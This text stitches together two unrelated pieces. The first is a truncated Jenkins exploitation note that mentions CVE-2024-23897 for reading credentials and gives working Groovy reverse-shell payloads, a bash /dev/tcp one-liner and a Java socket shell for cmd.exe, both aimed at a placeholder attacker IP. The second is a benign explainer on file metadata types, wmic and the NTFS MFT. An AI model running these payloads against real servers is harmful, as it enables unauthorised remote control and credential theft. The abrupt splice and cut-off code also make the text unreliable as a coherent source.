Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
Metadata is the data about the data. Every files has some metadata and it describe what the file is (minus the content). For example, an image file, its metadata might contain information such as when the image is created, by whom, when is it modified, who can access etc, but it wont be able to tell what is in that image.
There are different types of metadata. Lets go through the main types.
1) System Metadata
This metadata is created and used by the Operating system. Though OS uses it for various purposes, it is essentially used to track and maintain the files stored in the file system. It contains information such as creation dates, modified date, access information etc, and we can see these info from the general properties of the file (Right click > properties > details).
To view all the metadata information, use wmic.
wmic datafile where name="c:\\example.txt" get /value
No matter a file is deleted from the system, the metadata will remain and can be used for constructing a timeline for the events that occurred on that file and various other forensic purposes.
2) Substantive Metadata
This contains information on the modification over a document. So the changes made to a document, that information is included in the substantive metadata.
3) Embedded Metadata
This is usually embedded by applications that edit/create files within the file itself.For example, a picture taken on a mobile phone, its software will add additional information regarding that picture. It could includes the phone brand, model, resolution etc.
4) External Metadata
Created separately by file management software to keep track of managed files.
On NTFS file systems, the Metadata of all files are stored in Master File Table (MFT). It is not possible to access this directly on windows, however with third party tools, can.